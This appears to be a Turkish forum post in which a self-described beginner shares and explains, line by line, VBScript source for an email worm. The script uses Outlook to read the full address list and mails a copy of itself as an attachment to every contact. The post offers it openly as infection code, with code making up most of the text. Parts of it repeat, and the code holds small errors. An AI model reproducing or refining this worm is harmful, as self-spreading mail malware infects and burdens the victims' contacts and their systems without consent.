Merhabalar
Ben Biraz Yeniyim Neyse
VBS Script de Mail Üzerinden Bulaşma Kodu:
bu kodlar Mail Yoluyla Bulaşır Ben Bunun İçin Outlook Kullandım
Kodları Açıklıyayım:
Set ol=CreateObject("Outlook.Application") //yeni bi outlook applicationı
Set mapi = out.GetNameSpace("MAPI") ////
Set a = mapi.AddressLists(1) /////bu kodlar maildeki bütün listedeki kişileri buluyor.
For x=1 To a.AddressEntries.Count /////
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) //Bu Mail Listesindeki kişileri seçiyor
Mail.Subject="Mail Başlığı" //Mailin Başlığını Ayarlıyor
Mail.Body="Mailde Ne Yazacak?" //Mailin İçinde Ne yazacak onu ayarlıyor
Mail.Attachments.Add Wscript.ScriptFullName//wormumuzu ek dosya olarak ekliyor
Mail.Send // Maili Yolluyor
Umarım Anlatabilmişimdir )
Ben Biraz Yeniyim Neyse
VBS Script de Mail Üzerinden Bulaşma Kodu:
Kod:
Dim x
on error resume next
Set fso ="Scripting.FileSystem.Object"
Set so=CreateObject(fso)
Set ol=CreateObject("Outlook.Application")
Set out= WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For x=1 To a.AddressEntries.Count
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Mail Başlığı"
Mail.Body="Mailde Ne Yazacak?"
Mail.Attachments.Add Wscript.ScriptFullName
Mail.Send
Next
ol.Quit
Kodları Açıklıyayım:
Set ol=CreateObject("Outlook.Application") //yeni bi outlook applicationı
Set mapi = out.GetNameSpace("MAPI") ////
Set a = mapi.AddressLists(1) /////bu kodlar maildeki bütün listedeki kişileri buluyor.
For x=1 To a.AddressEntries.Count /////
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) //Bu Mail Listesindeki kişileri seçiyor
Mail.Subject="Mail Başlığı" //Mailin Başlığını Ayarlıyor
Mail.Body="Mailde Ne Yazacak?" //Mailin İçinde Ne yazacak onu ayarlıyor
Mail.Attachments.Add Wscript.ScriptFullName//wormumuzu ek dosya olarak ekliyor
Mail.Send // Maili Yolluyor
Umarım Anlatabilmişimdir )